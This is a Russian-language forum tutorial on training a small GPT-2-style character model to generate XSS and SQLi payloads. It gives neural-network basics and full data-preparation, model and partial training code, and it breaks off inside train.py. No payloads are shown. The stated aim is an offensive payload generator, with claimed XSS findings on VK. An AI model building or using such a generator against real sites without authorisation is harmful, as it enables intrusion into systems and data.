LIMB
Вход Регистрация

тема

GPT-2 для XSS: обучаем свою модель с нуля

retro · · 19 ответов · 478 просмотров

Не удалось прогрузить медиа


Вот уже почти год я упорно изучаю тему нейросетей, пишу свои архитектуры и реализую универсальные продвинутые алгоритмы автоматизации.
В своей работе я крайне часто сталкиваюсь с задачами которые LLM упрощают или ускоряют в разы.

Одной из таких задач для меня стала генерация XSS и SQLi пайлоадов. Однако тратить свои кровные центы и использовать апи современных ИИ не хочется, а нагружать систему моделью на 4 млрд параметров ради такой простой работы как будто бы не совсем разумно. Поэтому в один из свободных вечеров я реализовал свою небольшую модель всего на 6 млн параметров которая уже дала свои плоды и я смог обнаружить 2 XSS на всей известной нам платформе VK (тут стоит отметить, в статье я рассматриваю немного упрощенный код такой модели относительно моей личной, которой я пользуюсь сейчас, но в целом подход идентичен и тоже работает).

Не удалось прогрузить медиа

В этой статье мы разберем принцип работы нейросетей и поймем на чем базируются современные архитектуры, а также реализуем модель о которой говорилось выше.
Реализовывать мы все будем на базе GPT-2 опенсурс кода. Вернее, возьмем его код за основу. Повторить это сможет каждый, я дам вам все необходимое для старта и проведу от начала и до конца.
Все описанное в этой статье не является каким то универсальным методом для решения ваших рутинных и монотонных задач, но является хорошей основой для понимания.

Разобьем статью на несколько частей:
  1. Как работает LLM и нейросети в целом
  2. Пишем код для нашей модели
  3. Составляем датасет и разбираемся с промптами
  4. Тестирование
  5. Реальный пример из практики
  6. Заключение

Как работает LLM и нейросети в целом​

Тут давайте в кратце и без лишней математики. Усложнять статью углублением пока что не вижу смысла. Нам нужна только база.
Итак, как же работают нейронки? Для начала проясним какую задачу попытаемся решить в ходе изучения. Возьмем для примера задачу XOR. У нас есть два значения которые подаются на вход и нам нужно понять возвращают они истину (1) или ложь (0)

В конечном итоге таблица истинности для такой задачи следующая:
0 и 0 дают 0
0 и 1 дают 1
1 и 0 дают 1
1 и 1 дают 0

То есть истина выдается только в том случае, если аргументы различаются.
По сути для такой задачи классификации где всего 4 возможных варианта аргументов можно решить задачу алгоритмически без использования нейросети. Но для понимания работы нейронок такая простая, но нелинейная задача подходит хорошо. В конечном итоге мы должны получить сеть способную решить эту задачу во время получения на вход двух аргументов.

Теперь к нейронкам. Подобно тому как все вещества во вселенной состоят из атомов и молекул мы можем представить нейронку как сеть состоящую из отдельных состовляющих называемых перцептронами (стоит отметить, что эту аналогию я привел для абстрактного понимания, естественно на деле это не совсем корректно)

Перцептрон в своем классическом виде выглядит так:
Не удалось прогрузить медиа


В данном случае то что в первых кружках (X1 и X2) это аргументы которые подаются на вход, последний кружок (O1) это выходной нейрон который является результатом действия перцептрона. Обозначения W1 и W2 на отрезках соединяющих параметры это "веса" связей. Результат работы нейросети это перемножение переданных значений на веса их связей и в дальнейшем их сложение.

То есть если в этот перцептрон мы подадим какие то значения X1 и X2 то выходное значение O1 будет равно X1xW1+X2xW2
Входных и выходных значений может быть столько, сколько нам необходимо, все зависит от задачи. Но принцип подсчета тот же, если бы мы добавили в перцептрон еще один входной нейрон и представили его как X3 то у него бы была связь с весом W3 и тогда O1 = X1xW1+X2xW2+X3xW3.
При инициализации нейросети веса связей выставляются рандомно и, как правило, берутся в диапазоне от 0 до 1 (ну и от -1 до 1).

Числа больше 1 или -1 в архитектурах не приветствуются, это не удобно как в расчетах, так и в самих вычислениях. Для преобразования результатов расчета в нужный диапазон чисел используют функцию активации. Их довольно много и смысла перечислять все нет. Самая популярная среди них в статьях обучения это сигмоида:
f(x) = 1/(1+exp(-x))
Можете не вдаваться в подробности о том зачем она нужна, достаточно знать тот факт что она преобразует полученное значение O1 в диапазон от 0 до 1.
То есть в конечном итоге результат работы перцептрона это:
O1 = f(X1xW1+X2xW2+X3xW3)

Перцептрон в своем классическом виде не сможет решить задачу XOR в силу ее нелинейности. Для решения этой задачи нам нужно добавить скрытый слой.
Скрытые слои работают по тому же принципу что и входные, получают занчение -> умножают его на вес соединения со следующим слоем, также суммируют и отправляют в функцию активации.

То есть выглядеть это будет примерно так:
Не удалось прогрузить медиа


Тут скрытый слой у нас обозначен буквой H для удобства. Вспоминая про устройство перцептрона вы можете заметить что по сути H1, H2, и H3 можно воспринимать как три отдельных таких перцептронов, которые принимают на вход одни и те же значения но имеют разные веса связей, а затем свои полученные значения они отправляют на выходной нейрон, где принцип высчитывания результата работы тот же самый.

Супер, но как обучить нейронку? Веса-то у нас случайные. А значит, при первой попытке сеть выдаст кашу. Для XOR — вообще не то.
Значит, надо веса настроить. Как?

Шаг 1. Берём пример из таблицы истинности. Скажем, X1=1, X2=0. Заведомо нами известный правильный ответ - 1.
Шаг 2. Прогоняем числа через сеть. Получаем какую-то фигню, допустим 0.32.
Шаг 3. Считаем ошибку: 0.32 минус 1. Или по-умному — loss. Чем ошибка больше, тем сильнее сеть тупит.
Шаг 4. Передаём эту ошибку назад по всем связям — от выходного нейрона к скрытому слою, от скрытого к входу. И чуть-чуть подкручиваем каждый вес в ту сторону, где ошибка уменьшится.

Повторяем это для всех четырёх комбинаций. Тысячи раз. Миллионы, если сеть большая.
Это называется обратное распространение ошибки. Или backpropagation.
В конце концов веса сойдутся. Сеть будет выдавать правильные ответы.

Всё. XOR решён. Абсолютно тупая задача, но на ней вы прочувствовали главное: прямой проход → ошибка → обратный проход → подкрутка весов.
На этом принципе стоят все нейросети. От перцептрона с тремя нейронами до GPT-4.
Если кому то интересна практика, то вот код на чистом python без numpy для большего понимания принципов работы:

Спойлер: Код
Python:
import math
import random

def sigmoid(x):
    return 1 / (1 + math.exp(-x))

def sigmoid_derivative(x):
    return x * (1 - x)

# Данные для XOR
X = [[0, 0], [0, 1], [1, 0], [1, 1]]
y = [0, 1, 1, 0]

# Инициализация весов
random.seed(42)
# Скрытый слой: 2 входа -> 4 нейрона
hidden_weights = [[random.uniform(-1, 1) for _ in range(4)] for _ in range(2)]
# Выходной слой: 4 нейрона -> 1 выход
output_weights = [random.uniform(-1, 1) for _ in range(4)]

learning_rate = 0.5
epochs = 10000

# Обучение
for epoch in range(epochs):
    for idx in range(4):
        # Прямой проход
        x1, x2 = X[idx]
        correct = y[idx]
      
        # Скрытый слой
        hidden_inputs = [
            x1 * hidden_weights[0][j] + x2 * hidden_weights[1][j]
            for j in range(4)
        ]
        hidden_outputs = [sigmoid(hi) for hi in hidden_inputs]
      
        # Выходной слой
        final_input = sum(hidden_outputs[j] * output_weights[j] for j in range(4))
        prediction = sigmoid(final_input)
      
        # Ошибка
        error = correct - prediction
      
        # Обратный проход (выходной слой)
        d_prediction = error * sigmoid_derivative(prediction)
      
        # Подкручиваем веса выходного слоя
        for j in range(4):
            output_weights[j] += hidden_outputs[j] * d_prediction * learning_rate
      
        # Обратный проход (скрытый слой)
        d_hidden = []
        for j in range(4):
            error_hidden = d_prediction * output_weights[j]
            d_hidden.append(error_hidden * sigmoid_derivative(hidden_outputs[j]))
      
        # Подкручиваем веса скрытого слоя
        for j in range(4):
            hidden_weights[0][j] += x1 * d_hidden[j] * learning_rate
            hidden_weights[1][j] += x2 * d_hidden[j] * learning_rate

# Проверка
print("Обучение завершено. Проверка:")
for x1, x2 in X:
    hidden_inputs = [
        x1 * hidden_weights[0][j] + x2 * hidden_weights[1][j]
        for j in range(4)
    ]
    hidden_outputs = [sigmoid(hi) for hi in hidden_inputs]
    final_input = sum(hidden_outputs[j] * output_weights[j] for j in range(4))
    result = sigmoid(final_input)
    print(f"{x1} XOR {x2} = {round(result)} (предсказано: {result:.4f})")

Все конечно классно, но что насчет текста? В случае с XOR задачей наша сеть имела 2 входа и 1 выход и всего у нас по сути 4 комбинации входов. В языковых моделях все естественно гораздо более обширно. Входной слой в них обозначает своего рода словарь и по количеству параметров равен выходному слою, скрытых слоев гораздо больше чем в нашем примере с XOR. А сами слова не подаются нейросети напрямую, они токенизируются (представляются в виде векторов). Токен — это кусочек текста: символ, часть слова или целое слово.

По сути, если наш словарь содержит 100 уникальных символов, то каждый токен кодируется числом от 0 до 99. Но нейросеть не понимает числа — она понимает векторы. Поэтому каждый токен превращается в вектор длиной, скажем, 256 чисел. То есть на входе у нас не 2 числа, а sequence_length * 256 чисел. Для последовательности из 100 токенов это уже 25 600 входов.

Чуть подробнее про токенизацию​

Существуют несколько видов токенизации:
  • Посимвольная (каждый токен представляет символ)
  • Субсловная (каждый токен представляет часть слова)
  • Пословная (токен это одно слово)

    Для нашей задачи с генерацией пайлоадов мы будем использовать посимвольную токенизацию, так как она идеально подходит для такой задачи (современные нейросети кстати используют ее для генерации кода) и наиболее проста в реализации.
Как я уже сказал, нейросеть не понимает текст, она понимает цифры и числа.
Рассмотрим процесс токенизации на простом примере. Возьмём слово Hello
Сначала нам нужно разбить слово на символы, затем каждому уникальному символу выдать айди. То есть собираем все уникальные символы, которые встречаются в наших данных. Для слова "Hello" это H, e, l, o.

Допустим, наш словарь выглядит так:
СимволIDH40e65l76o79

Слово "Hello" превращается в последовательность чисел:
[40, 65, 76, 76, 79]

Именно эту последовательность модель увидит на входе. На выходе она должна предсказать следующее число (следующий символ). Если на вход подать [40, 65, 76, 76], модель должна выдать 79 (то есть o).

То есть по факту, все наше "общение" с моделями сводится к тому что мы даем ей на вход какие то слова, а она выдает то что с наибольшей вероятностью должно следовать за тем что мы ей скормили.

​

Почему посимвольная токенизация подходит для XSS?​

  • XSS-пэйлоады короткие (обычно 50-200 символов)
  • Важен каждый символ: <, >, ", ', / имеют значение для синтаксиса
  • Не нужен огромный словарь (100-200 символов хватает для всего)
  • Модель может генерировать новые пэйлоады, комбинируя символы в невиданных ранее последовательностях

    Если кто то хочет углубиться в тему нейронок или кому то просто недостаточно того что описано в статье, можете прочитать вот этот ресурс
    Или прочитать статью Attention is all you need 2017 года от Google. Там вся необходимая математика и объяснения без упущений.
Теперь можно перейти к написанию кода и составлению датасета.

Глава 2. Пишем код для нашей модели​

Итак, с теорией разобрались, переходим к практике.
Нам понадобятся четыре скрипта. Каждый решает свою задачу, и вместе они образуют законченный пайплайн для обучения и использования модели.

prepare.py   → подготавливает данные и превращает текст в бинарные файлы
model.py     → содержит архитектуру нейросети (GPT)
train.py     → обучает модель на подготовленных данных
test.py      → загружает обученную модель и генерирует ответы
Весь код использует только torch, numpy и стандартные библиотеки Python. Никаких тяжёлых фреймворков. Всё прозрачно и контролируемо.

2.1. prepare.py — подготовка данных​

Модель не умеет читать текст. Она умеет читать числа. Поэтому каждый символ мы заменяем на его уникальный числовой ID. Это называется посимвольной токенизацией. Помним это из прошлой главы.

Почему бинарные файлы и меммап?​

В коде я использую датасет в бинарном формате. Изначально я использовал простые txt файлы, но если просто загрузить весь датасет в память как строку, то при большом объёме данных оперативка может закончиться. Особенно если вы обучаете модель на ноутбуке или старом сервере. Да и в целом, такой вариант увеличивает затраты по ресурсам железа что ведет к увеличению времени обучения и нагрузки на систему.
Поэтому в проекте существует prepare.py который решает эту проблему двумя способами:
  1. Бинарные файлы (.bin) занимают меньше места и читаются быстрее, чем текстовые
  2. np.memmap при обучении позволяет не загружать весь файл в RAM — данные подгружаются с диска по мере необходимости
Вот как это работает в коде:

Python:
train_ids = encode(train_text, stoi)           # получаем numpy-массив чисел
train_ids.tofile("train.bin")                  # сохраняем на диск

Потом при обучении:
Python:
train_data = np.memmap("train.bin", dtype=np.uint16, mode="r")

dtype=np.uint16 означает, что каждое число занимает 2 байта. Это экономит память по сравнению с обычными Python-списками.

Что делает prepare.py по шагам​

  1. Читает train.txt и val.txt (если val.txt нет — автоматически отщипывает 10% от train.txt)
  2. Собирает все уникальные символы из всего текста и строит словарь: символ → ID
  3. Превращает текст в последовательности ID через функцию encode()
  4. Сохраняет бинарные файлы train.bin и val.bin в папку data/chat/
  5. Сохраняет метаданные (словари stoi, itos и размер словаря) в meta.pkl
После запуска prepare.py у вас в папке data/chat/ будут лежать:
  • train.bin — обучающие данные в бинарном виде
  • val.bin — валидационные данные
  • meta.pkl — метаинформация для кодирования и декодирования
Спойлер: prepare.py
Python:
import os
import pickle
import numpy as np

# Константы
TRAIN_TXT = "train.txt"
VAL_TXT = "val.txt"  # опционально, если нет - создадим из train.txt
DATA_DIR = "data"
DATASET_NAME = "chat"

# Посимвольная токенизация
def build_vocab(text):
    chars = sorted(list(set(text)))
    stoi = {ch: i for i, ch in enumerate(chars)}
    itos = {i: ch for i, ch in enumerate(chars)}
    return stoi, itos, len(chars)

def encode(text, stoi):
    return np.array([stoi[ch] for ch in text], dtype=np.uint16)

# Создаём папку
os.makedirs(os.path.join(DATA_DIR, DATASET_NAME), exist_ok=True)

# Загружаем тексты
with open(TRAIN_TXT, "r", encoding="utf-8") as f:
    train_text = f.read()

if os.path.exists(VAL_TXT):
    with open(VAL_TXT, "r", encoding="utf-8") as f:
        val_text = f.read()
else:
    # Если val.txt нет, отщипнём 10% от train.txt
    split = int(len(train_text) * 0.9)
    val_text = train_text[split:]
    train_text = train_text[:split]
    print(f"Created val.txt from train.txt (10% split)")

# Строим словарь на всём тексте (чтобы кодировки совпадали)
full_text = train_text + val_text
stoi, itos, vocab_size = build_vocab(full_text)

# Кодируем
train_ids = encode(train_text, stoi)
val_ids = encode(val_text, stoi)

# Сохраняем бинарники
train_bin = os.path.join(DATA_DIR, DATASET_NAME, "train.bin")
val_bin = os.path.join(DATA_DIR, DATASET_NAME, "val.bin")
train_ids.tofile(train_bin)
val_ids.tofile(val_bin)

# Сохраняем метаданные
meta = {
    "vocab_size": vocab_size,
    "stoi": stoi,
    "itos": itos,
}
with open(os.path.join(DATA_DIR, DATASET_NAME, "meta.pkl"), "wb") as f:
    pickle.dump(meta, f)

print(f"Dataset prepared: {DATA_DIR}/{DATASET_NAME}/")
print(f"Vocab size: {vocab_size}")
print(f"Train size: {len(train_ids)} chars")
print(f"Val size: {len(val_ids)} chars")


2.2. model.py — архитектура GPT​

Главный файл всего проекта. Здесь описан класс GPT, который мы будем обучать. Код взят из открытой реализации GPT-2, но с возможностью настройки под наши нужды.

GPTConfig — гиперпараметры модели​

В начале файла описан класс GPTConfig, который хранит все настройки модели:

Python:
@dataclass
class GPTConfig:
    block_size: int = 1024    # максимальная длина последовательности в токенах
    vocab_size: int = None    # размер словаря (определяется из датасета)
    n_layer: int = 12         # количество блоков Transformer
    n_head: int = 12          # количество голов внимания
    n_embd: int = 768         # размер эмбеддинга (вектора токена)
    dropout: float = 0.0      # регуляризация (выключаем часть нейронов)
    bias: bool = True         # использовать ли смещения в линейных слоях

Эти параметры определяют, насколько большой будет модель и сколько памяти она потребует. В train.py мы переопределим их под нашу задачу.

CausalSelfAttention — механизм внимания​

Это ключевая часть Transformer. Внимание позволяет модели смотреть на предыдущие токены с разными весами. «Причинное» означает, что модель не видит будущие токены — только прошлые.

Python:
if self.flash:
    y = F.scaled_dot_product_attention(q, k, v, is_causal=True)

В современных версиях PyTorch есть встроенная оптимизированная функция scaled_dot_product_attention. Она работает очень быстро, особенно на GPU. Если её нет — используется собственная реализация с маской.

Block — строительный блок Transformer​

Каждый блок состоит из двух частей: внимания и MLP (многослойного перцептрона). Вокруг них — нормализации и остаточные связи.

Python:
class Block(nn.Module):
    def forward(self, x):
        x = x + self.attn(self.ln_1(x))   # внимание + остаточная связь
        x = x + self.mlp(self.ln_2(x))    # MLP + остаточная связь
        return x

Остаточные связи (x + ...) помогают градиенту не затухать в глубоких сетях. Без них модель на 6-12 слоёв просто не обучится.

GPT — главный класс​

Python:
def forward(self, idx, targets=None):
    B, T = idx.size()
    pos = torch.arange(0, T, device=idx.device)
    x = self.wte(idx) + self.wpe(pos)      # эмбеддинги токенов + позиций
    for block in self.h:
        x = block(x)
    logits = self.lm_head(x)               # превращаем в вероятности токенов
  
    if targets is not None:
        loss = F.cross_entropy(logits.view(-1, logits.size(-1)), targets.view(-1))
    return logits, loss

Что здесь происходит:
  1. wte (word token embedding) — превращает число-индекс токена в вектор размерности n_embd. Например, символ с ID 40 становится вектором из 256 чисел.
  2. wpe (word position embedding) — добавляет информацию о позиции токена. Токен на позиции 0 получает другой вектор, чем токен на позиции 5.
  3. Сумма эмбеддингов проходит через все блоки Transformer
  4. lm_head (language modeling head) — линейный слой, который превращает вектор обратно в вероятности для каждого токена из словаря
  5. Если переданы targets (правильные ответы), считаем cross_entropy — функцию потерь

Метод generate​

Этот метод используется после обучения. Он берёт начальную последовательность токенов и генерирует продолжение:

Python:
@torch.no_grad()
def generate(self, idx, max_new_tokens, temperature=1.0, top_k=None):
    for _ in range(max_new_tokens):
        logits, _ = self(idx_cond)
        logits = logits[:, -1, :] / temperature
        if top_k is not None:
            v, _ = torch.topk(logits, top_k)
            logits[logits < v[:, [-1]]] = float('-inf')
        probs = F.softmax(logits, dim=-1)
        idx_next = torch.multinomial(probs, num_samples=1)
        idx = torch.cat((idx, idx_next), dim=1)
    return idx

Параметры:
  • temperature — контролирует случайность. Чем выше температура, тем более разнообразные (и иногда бессмысленные) ответы
  • top_k — оставляет только k самых вероятных токенов, остальным зануляет вероятность. Убирает хвост маловероятных бредовых вариантов

Спойлер: model.py
Python:
import math
import inspect
from dataclasses import dataclass

import torch
import torch.nn as nn
from torch.nn import functional as F


class LayerNorm(nn.Module):
    def __init__(self, ndim, bias):
        super().__init__()
        self.weight = nn.Parameter(torch.ones(ndim))
        self.bias = nn.Parameter(torch.zeros(ndim)) if bias else None

    def forward(self, x):
        return F.layer_norm(x, self.weight.shape, self.weight, self.bias, 1e-5)


class CausalSelfAttention(nn.Module):
    def __init__(self, config):
        super().__init__()
        assert config.n_embd % config.n_head == 0
        self.c_attn = nn.Linear(config.n_embd, 3 * config.n_embd, bias=config.bias)
        self.c_proj = nn.Linear(config.n_embd, config.n_embd, bias=config.bias)
        self.attn_dropout = nn.Dropout(config.dropout)
        self.resid_dropout = nn.Dropout(config.dropout)
        self.n_head = config.n_head
        self.n_embd = config.n_embd
        self.dropout = config.dropout
        self.flash = hasattr(torch.nn.functional, 'scaled_dot_product_attention')
        if not self.flash:
            self.register_buffer("bias", torch.tril(torch.ones(config.block_size, config.block_size))
                                        .view(1, 1, config.block_size, config.block_size))

    def forward(self, x):
        B, T, C = x.size()
        q, k, v = self.c_attn(x).split(self.n_embd, dim=2)
        k = k.view(B, T, self.n_head, C // self.n_head).transpose(1, 2)
        q = q.view(B, T, self.n_head, C // self.n_head).transpose(1, 2)
        v = v.view(B, T, self.n_head, C // self.n_head).transpose(1, 2)

        if self.flash:
            y = F.scaled_dot_product_attention(q, k, v, attn_mask=None,
                dropout_p=self.dropout if self.training else 0, is_causal=True)
        else:
            att = (q @ k.transpose(-2, -1)) * (1.0 / math.sqrt(k.size(-1)))
            att = att.masked_fill(self.bias[:, :, :T, :T] == 0, float('-inf'))
            att = F.softmax(att, dim=-1)
            att = self.attn_dropout(att)
            y = att @ v
        y = y.transpose(1, 2).contiguous().view(B, T, C)
        y = self.resid_dropout(self.c_proj(y))
        return y


class MLP(nn.Module):
    def __init__(self, config):
        super().__init__()
        self.c_fc = nn.Linear(config.n_embd, 4 * config.n_embd, bias=config.bias)
        self.gelu = nn.GELU()
        self.c_proj = nn.Linear(4 * config.n_embd, config.n_embd, bias=config.bias)
        self.dropout = nn.Dropout(config.dropout)

    def forward(self, x):
        return self.dropout(self.c_proj(self.gelu(self.c_fc(x))))


class Block(nn.Module):
    def __init__(self, config):
        super().__init__()
        self.ln_1 = LayerNorm(config.n_embd, bias=config.bias)
        self.attn = CausalSelfAttention(config)
        self.ln_2 = LayerNorm(config.n_embd, bias=config.bias)
        self.mlp = MLP(config)

    def forward(self, x):
        x = x + self.attn(self.ln_1(x))
        x = x + self.mlp(self.ln_2(x))
        return x


@dataclass
class GPTConfig:
    block_size: int = 1024
    vocab_size: int = None
    n_layer: int = 12
    n_head: int = 12
    n_embd: int = 768
    dropout: float = 0.0
    bias: bool = True


class GPT(nn.Module):
    def __init__(self, config):
        super().__init__()
        self.config = config

        self.transformer = nn.ModuleDict(dict(
            wte=nn.Embedding(config.vocab_size, config.n_embd),
            wpe=nn.Embedding(config.block_size, config.n_embd),
            drop=nn.Dropout(config.dropout),
            h=nn.ModuleList([Block(config) for _ in range(config.n_layer)]),
            ln_f=LayerNorm(config.n_embd, bias=config.bias),
        ))
        self.lm_head = nn.Linear(config.n_embd, config.vocab_size, bias=False)
        self.transformer.wte.weight = self.lm_head.weight
        self.apply(self._init_weights)

    def _init_weights(self, module):
        if isinstance(module, nn.Linear):
            torch.nn.init.normal_(module.weight, mean=0.0, std=0.02)
            if module.bias is not None:
                torch.nn.init.zeros_(module.bias)
        elif isinstance(module, nn.Embedding):
            torch.nn.init.normal_(module.weight, mean=0.0, std=0.02)

    def forward(self, idx, targets=None):
        B, T = idx.size()
        assert T <= self.config.block_size
        pos = torch.arange(0, T, dtype=torch.long, device=idx.device)
        x = self.transformer.drop(self.transformer.wte(idx) + self.transformer.wpe(pos))
        for block in self.transformer.h:
            x = block(x)
        x = self.transformer.ln_f(x)
        logits = self.lm_head(x)

        loss = None
        if targets is not None:
            loss = F.cross_entropy(logits.view(-1, logits.size(-1)), targets.view(-1))
        return logits, loss

    def get_num_params(self, non_embedding=True):
        n_params = sum(p.numel() for p in self.parameters())
        if non_embedding:
            n_params -= self.transformer.wpe.weight.numel()
        return n_params

    @torch.no_grad()
    def generate(self, idx, max_new_tokens, temperature=1.0, top_k=None):
        for _ in range(max_new_tokens):
            idx_cond = idx if idx.size(1) <= self.config.block_size else idx[:, -self.config.block_size:]
            logits, _ = self(idx_cond)
            logits = logits[:, -1, :] / temperature
            if top_k is not None:
                v, _ = torch.topk(logits, min(top_k, logits.size(-1)))
                logits[logits < v[:, [-1]]] = float('-inf')
            probs = F.softmax(logits, dim=-1)
            idx_next = torch.multinomial(probs, num_samples=1)
            idx = torch.cat((idx, idx_next), dim=1)
        return idx

    def configure_optimizers(self, weight_decay, learning_rate, betas, device_type):
        decay_params = [p for n, p in self.named_parameters() if p.dim() >= 2]
        nodecay_params = [p for n, p in self.named_parameters() if p.dim() < 2]
        optim_groups = [
            {'params': decay_params, 'weight_decay': weight_decay},
            {'params': nodecay_params, 'weight_decay': 0.0}
        ]
        fused = 'fused' in inspect.signature(torch.optim.AdamW).parameters and device_type == 'cuda'
        return torch.optim.AdamW(optim_groups, lr=learning_rate, betas=betas, fused=fused)

2.3. train.py — обучение модели​

Обучение — это итеративное подстраивание весов так, чтобы модель лучше предсказывала следующий символ.

Константы в начале файла​

Все параметры обучения вынесены в константы. Это удобно — не нужно лезть глубоко в код, чтобы изменить настройки.

Python:
DATASET = "chat"              # имя папки с датасетом (data/chat/)
OUT_DIR = "out"               # куда сохранять чекпоинты
BATCH_SIZE = 12               # сколько примеров за раз
BLOCK_SIZE = 128              # длина последовательности (контекст)
EVAL_INTERVAL = 500           # как часто проверять качество
EVAL_ITERS = 100              # сколько батчей для оценки
MAX_ITERS = 4000              # сколько всего итераций обучения
LEARNING_RATE = 6e-4          # скорость обучения
GRAD_CLIP = 1.0               # обрезание градиентов (стабилизация)
N_LAYER = 6                   # количество блоков Transformer
N_HEAD = 8                    # количество голов внимания
N_EMBD = 256                  # размер эмбеддинга



Почему именно эти значения:
  • BLOCK_SIZE = 128 — модель видит 128 символов контекста. Этого достаточно для XSS-пэйлоада
  • N_LAYER = 6, N_HEAD = 8, N_EMBD = 256 — дают модель примерно на 10-15 млн параметров. Она быстро обучается даже на CPU
  • LEARNING_RATE = 6e-4 — стандартная скорость для AdamW
  • GRAD_CLIP = 1.0 — обрезает градиенты, чтобы не было «взрывов» потерь
Если планируешь играться с размером модели и менять значения, то обрати внимание что N_EMBD и N_HEAD неочевидно связаны, в коде есть строка config.n_embd % config.n_head == 0
То есть, пример, если мы сотавим N_EMBD = 256, а N_HEAD сделаем 6, то нам выдаст ошибку, потому что при делении 256 на 6 получится не целое число.


Меммап данных (быстро и экономно)​

Python:
train_data = np.memmap(os.path.join(data_dir, "train.bin"), dtype=np.uint16, mode="r")

np.memmap не загружает весь файл в память, а создаёт «представление» файла на диске. Когда мы обращаемся к элементу по индексу, нужный кусок подгружается автоматически.

get_batch — формирование батча​



Python:
def get_batch(split, batch_size, block_size):
    data = train_data if split == "train" else val_data
    ix = torch.randint(len(data) - block_size, (batch_size,))
    x = torch.stack([torch.from_numpy((data[i:i+block_size]).astype(np.int64)) for i in ix])
    y = torch.stack([torch.from_numpy((data[i+1:i+1+block_size]).astype(np.int64)) for i in ix])
    return x, y

Функция случайно выбирает batch_size начальных позиций в данных. Для каждой позиции берёт block_size токенов в xи следующие токены (со сдвигом на 1) в y.
Пример для строки "Hello" с block_size=4:
x = [40, 65, 76, 76]   # H e l l
y = [65, 76, 76, 79]   # e l l o
Модель учится по x предсказывать y. Именно так она учится генерировать текст.

estimate_loss — проверка качества​

Python:
@torch.no_grad()
def estimate_loss():
    model.eval()
    for split in ["train", "val"]:
        losses = torch.zeros(EVAL_ITERS)
        for k in range(EVAL_ITERS):
            X, Y = get_batch(split, BATCH_SIZE, BLOCK_SIZE)
            _, loss = model(X, Y)
            losses[k] = loss.item()
        out[split] = losses.mean()
    model.train()
    return out

@torch.no_grad() отключает вычисление градиентов — на валидации они не нужны, это экономит память.
model.eval() переключает модель в режим оценки (выключает dropout). model.train() возвращает обратно.

Learning rate scheduler​



Python:
def get_lr(it):
    if it < warmup_iters:
        return learning_rate * (it + 1) / (warmup_iters + 1)
    if it > lr_decay_iters:
        return min_lr
    decay_ratio = (it - warmup_iters) / (lr_decay_iters - warmup_iters)
    coeff = 0.5 * (1.0 + math.cos(math.pi * decay_ratio))
    return min_lr + coeff * (learning_rate - min_lr)


Скорость обучения не постоянна. Сначала она линейно растёт от 0 до learning_rate (warmup). Это нужно, чтобы в начале обучения не было резких скачков весов. Потом скорость косинусоидально затухает до min_lr. Это позволяет модели аккуратно докрутить веса в конце.

Цикл обучения​

Python:
while iter_num < MAX_ITERS:
    X, Y = get_batch("train", BATCH_SIZE, BLOCK_SIZE)
    _, loss = model(X, Y)
    loss.backward()                              # вычисляем градиенты
    torch.nn.utils.clip_grad_norm_(model.parameters(), GRAD_CLIP)  # обрезаем
    optimizer.step()                             # обновляем веса
    optimizer.zero_grad(set_to_none=True)        # обнуляем градиенты

loss.backward() вычисляет градиенты — показывает, в какую сторону нужно менять веса, чтобы уменьшить ошибку.
clip_grad_norm_ обрезает градиенты, если они слишком большие. Это стабилизирует обучение.
optimizer.step() обновляет веса. optimizer.zero_grad() очищает градиенты перед следующим шагом.

Сохранение чекпоинтов​

Python:
if losses["val"] < best_val_loss:
    best_val_loss = losses["val"]
    checkpoint = {
        "model": model.state_dict(),
        "config": config,
        "stoi": stoi,
        "itos": itos,
        "iter_num": iter_num,
        "val_loss": losses["val"],
    }
    torch.save(checkpoint, os.path.join(OUT_DIR, "best.pt"))

Сохраняем не только веса модели (state_dict), но и конфигурацию, и словари токенов. Это позволяет потом загрузить модель без дополнительных настроек.

Спойлер: train.py
Python:
import os
import time
import math
import pickle
import numpy as np
import torch
from model import GPTConfig, GPT

# ========== КОНСТАНТЫ ==========
DATASET = "chat"
OUT_DIR = "out"
BATCH_SIZE = 12
BLOCK_SIZE = 128
EVAL_INTERVAL = 500
EVAL_ITERS = 100
LOG_INTERVAL = 10
MAX_ITERS = 6000
LEARNING_RATE = 6e-4
WEIGHT_DECAY = 1e-1
BETA1 = 0.9
BETA2 = 0.95
GRAD_CLIP = 1.0
WARMUP_ITERS = 200
LR_DECAY_ITERS = 5000
MIN_LR = 6e-5
DECAY_LR = True
N_LAYER = 8
N_HEAD = 8
N_EMBD = 256
BIAS = False
# ================================

# Устройство
if torch.cuda.is_available():
    device = "cuda"
elif torch.backends.mps.is_available():
    device = "mps"
else:
    device = "cpu"
print(f"Using device: {device}")
device_type = "cuda" if device == "cuda" else "cpu"

# Подготовка папки
os.makedirs(OUT_DIR, exist_ok=True)

# Загрузка метаданных
data_dir = os.path.join("data", DATASET)
meta_path = os.path.join(data_dir, "meta.pkl")
with open(meta_path, "rb") as f:
    meta = pickle.load(f)
vocab_size = meta["vocab_size"]
stoi = meta["stoi"]
itos = meta["itos"]

# Меммап данных
train_data = np.memmap(os.path.join(data_dir, "train.bin"), dtype=np.uint16, mode="r")
val_data = np.memmap(os.path.join(data_dir, "val.bin"), dtype=np.uint16, mode="r")

def get_batch(split, batch_size, block_size):
    data = train_data if split == "train" else val_data
    ix = torch.randint(len(data) - block_size, (batch_size,))
    x = torch.stack([torch.from_numpy((data[i:i+block_size]).astype(np.int64)) for i in ix])
    y = torch.stack([torch.from_numpy((data[i+1:i+1+block_size]).astype(np.int64)) for i in ix])
    x, y = x.to(device), y.to(device)
    return x, y

# Модель
config = GPTConfig(
    block_size=BLOCK_SIZE,
    vocab_size=vocab_size,
    n_layer=N_LAYER,
    n_head=N_HEAD,
    n_embd=N_EMBD,
    dropout=0.1,
    bias=BIAS
)
model = GPT(config)
model.to(device)
print(f"Model params: {model.get_num_params():,}")

optimizer = model.configure_optimizers(WEIGHT_DECAY, LEARNING_RATE, (BETA1, BETA2), device_type)

@torch.no_grad()
def estimate_loss():
    out = {}
    model.eval()
    for split in ["train", "val"]:
        losses = torch.zeros(EVAL_ITERS)
        for k in range(EVAL_ITERS):
            X, Y = get_batch(split, BATCH_SIZE, BLOCK_SIZE)
            _, loss = model(X, Y)
            losses[k] = loss.item()
        out[split] = losses.mean()
    model.train()
    return out

def get_lr(it):
    if it < WARMUP_ITERS:
        return LEARNING_RATE * (it + 1) / (WARMUP_ITERS + 1)
    if it > LR_DECAY_ITERS:
        return MIN_LR
    decay_ratio = (it - WARMUP_ITERS) / (LR_DECAY_ITERS - WARMUP_ITERS)
    coeff = 0.5 * (1.0 + math.cos(math.pi * decay_ratio))
    return MIN_LR + coeff * (LEARNING_RATE - MIN_LR)

print("Starting training...")
iter_num = 0
best_val_loss = float("inf")
